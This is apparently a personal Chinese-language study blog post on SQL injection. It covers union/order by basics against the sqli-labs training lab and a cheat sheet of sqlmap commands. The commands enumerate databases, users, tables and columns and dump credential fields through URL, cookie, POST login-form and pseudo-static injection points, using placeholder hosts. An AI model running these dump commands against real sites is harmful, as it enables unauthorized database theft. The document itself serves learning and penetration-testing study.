sql注入学习总结
sql注入综述
一直没有时间整理sql注入的相关知识,很多东西学习后都很容易忘记,今天在博客上整理好,希望能够加深自己的印象,后期也会在本文章中更新自己新学到的相关知识。
手工注入
手工注入还是以sqli-labs-master靶场实验环境为演示对象。
一.SQL注入常用命令-union联合查询
-
union 操作符用于拼接两个或者多select查询语句
-
union中的每个查询必须拥有相同的列数
二.SQL注入常用命令-order by 语句 -
ORDER BY 语句用于根据指定的列对结果集进行排序。
-
ORDER BY 语句默认按照升序对记录进行排序。
三.SQL注入常用命令-字符串连接函数
- concat(str1,str2…)函数 直接连接。
2.group_concat(str1,str2…)函数 使用逗号做为分隔符。
四.基于联合查询的手工注入步骤
五.sqlmap使用
1.1概述
SQLMap是一个开放源码的渗透测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。它配备了一个强大的探测引擎,为最终渗透测试人员提供很多的功能,可以拖库,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
SQLMAP支持的数据包括:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库。
1.2 SqlMap命令选项
归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。
如果你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。
输出级别(Output verbosity)
参数:-v
Sqlmap的输出信息按从简到繁共分为7个级别,依次为0、1、2、3、4、5和6。使用参数“-v <级别>”来指定某个等级,如使用参数“-v 6”来指定输出级别为6。默认输出级别为1。各个输出级别的描述如下:
0:只显示Python的tracebacks信息、错误信息[ERROR]和关键信息[CRITICAL];
1:同时显示普通信息[INFO]和警告信息[WARNING];
2:同时显示调试信息[DEBUG];
3:同时显示注入使用的攻击荷载;
4:同时显示HTTP请求;
5:同时显示HTTP响应头;
6:同时显示HTTP响应体。
1.3 sqlmap支持的注入模式
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。(适合用于通过循环直接输出联合查询结果,否则只会显示第一项结果)
5、堆查询注入,可以同时执行多条语句的执行时的注入。
1.4 sqlmap命令使用
1.4 对各种注入的基本步骤
1.sqlmap注入拖库常用命令
sqlmap.py -u “注入地址” -v 1 --dbs // 列举数据库
sqlmap.py -u “注入地址” -v 1 --current-db // 当前数据库
sqlmap.py -u “注入地址” -v 1 --users // 列数据库用户
sqlmap.py -u “注入地址” -v 1 --current-user // 当前用户
sqlmap.py -u “注入地址” -v 1 --tables -D “数据库” // 列举数据库的表名
sqlmap.py -u “注入地址” -v 1 --columns -T “表名” -D “数据库” // 获取表的列名
sqlmap.py -u “注入地址” -v 1 --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的数据,包含列
2.access注入
1.输入url
2.url --tables 猜表
3 url–columns -T 表名 暴字段
4.url --dump(脱裤) -T 表名 -C “字段名” 暴内容
3.mysql注入
url --current-db当前库
url --current-user当前用户
url --dbs 获得数据库
url -D 数据库 --tables 获得表
url -D 数据库 -T 表名 --columns 暴字段
url -D 数据库 -T 表名 -C 字段 --dump 暴内容
4.cookie注入
url --cookie “id=” --table --level 2 暴表
url --cookie “id=” --columns -T 表名 --level 2 获得字段
url --cookie “id=” --dump -T 表名 -C “字段名” --level 2 获得内容
5.POST登陆框注入
注入点:
http://xxx.xxx.com/Login.asp
注入方式一:
1.对着注入点使用burp抓包,保存txt格式文件。
2.输入命令:sqlmap.py -r search-test.txt -p tfUPass
注入方式二:自动搜索表单的方式
sqlmap -u http://www.xxx.com/Login.asp --forms
注入方式三:指定一个参数的方法
sqlmap -u http://www.xxx.com/Login.asp --data “tfUName=1&tfUPass=1”
6.cookie注入
单个注入
sqlmap -u “http://www.xxx.com/index.php” –cookie “id=1″ –dbs –level 2
sqlmap -u “http://www.xxx.com/index.php” –cookie “id=” –clumns -T 表段 –level 2
sqlmap -u “http://www.xxx.com/index.php” –cookie “id=” –dump -T 表段 -C “user,pass” –level 2
7.伪静态注入
目标站点:http://www.xxxx.com/id/3-1.html
sqlmap -u www.xxxx.com/id/3*.html –dbs
8.请求延时注入
sqlmap –dbs -u usr –delay 1(时间,可随意)
sqlmap –dbs -u usr –safe-freq 1(次数,可随意)